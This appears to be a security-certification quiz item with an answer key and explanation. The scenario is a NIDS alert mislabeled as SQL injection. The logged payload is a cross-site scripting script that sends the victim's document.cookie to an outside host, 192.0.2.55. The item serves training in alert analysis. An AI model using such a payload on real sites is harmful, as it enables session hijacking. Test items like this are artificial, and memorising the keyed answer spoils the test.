While analyzing alerts from a network intrusion detection system (NIDS) monitoring outbound perimeter traffic, a security administrator notices an alert flagged as a high-severity SQL injection payload against an enterprise web application server. The packet log payload reads:
`GET /comment.php?id=101&data=<script>document.location='http://192.0.2.55/collect?cookie='+document.cookie</script> HTTP/1.1`
Which of the following represents the most accurate evaluation of this network alert?
- The NIDS signature misclassified the alert; the packet payload indicates a Cross-Site Scripting (XSS) attack vector rather than a SQL injection attempt.Answer
- BThe alert correctly identifies a SQL injection attack attempting to query and extract administrative session tokens directly from the database server.
- CThe network administrator should immediately configure a stateful perimeter firewall rule to remediate the web application's underlying code vulnerability.
- DThe passive NIDS sensor functioned as a corrective control by automatically stripping the malicious script payload prior to transmission.
Answer
The NIDS alert mislabeled the attack signature; the logged payload represents a Cross-Site Scripting (XSS) attack designed for client-side script execution, not a SQL injection database attack.
Analyzing the raw payload string reveals `<script>` tags designed to extract `document.cookie` and send it to an external server (`192.0.2.55`). This is a classic Cross-Site Scripting (XSS) payload intended for execution in a web browser. The NIDS alert mislabeled the threat as SQL injection, highlighting the need for analysts to manually inspect payload logs.
Step-by-Step Solution
Key Concept
Log Payload Analysis & NIDS Alert Validation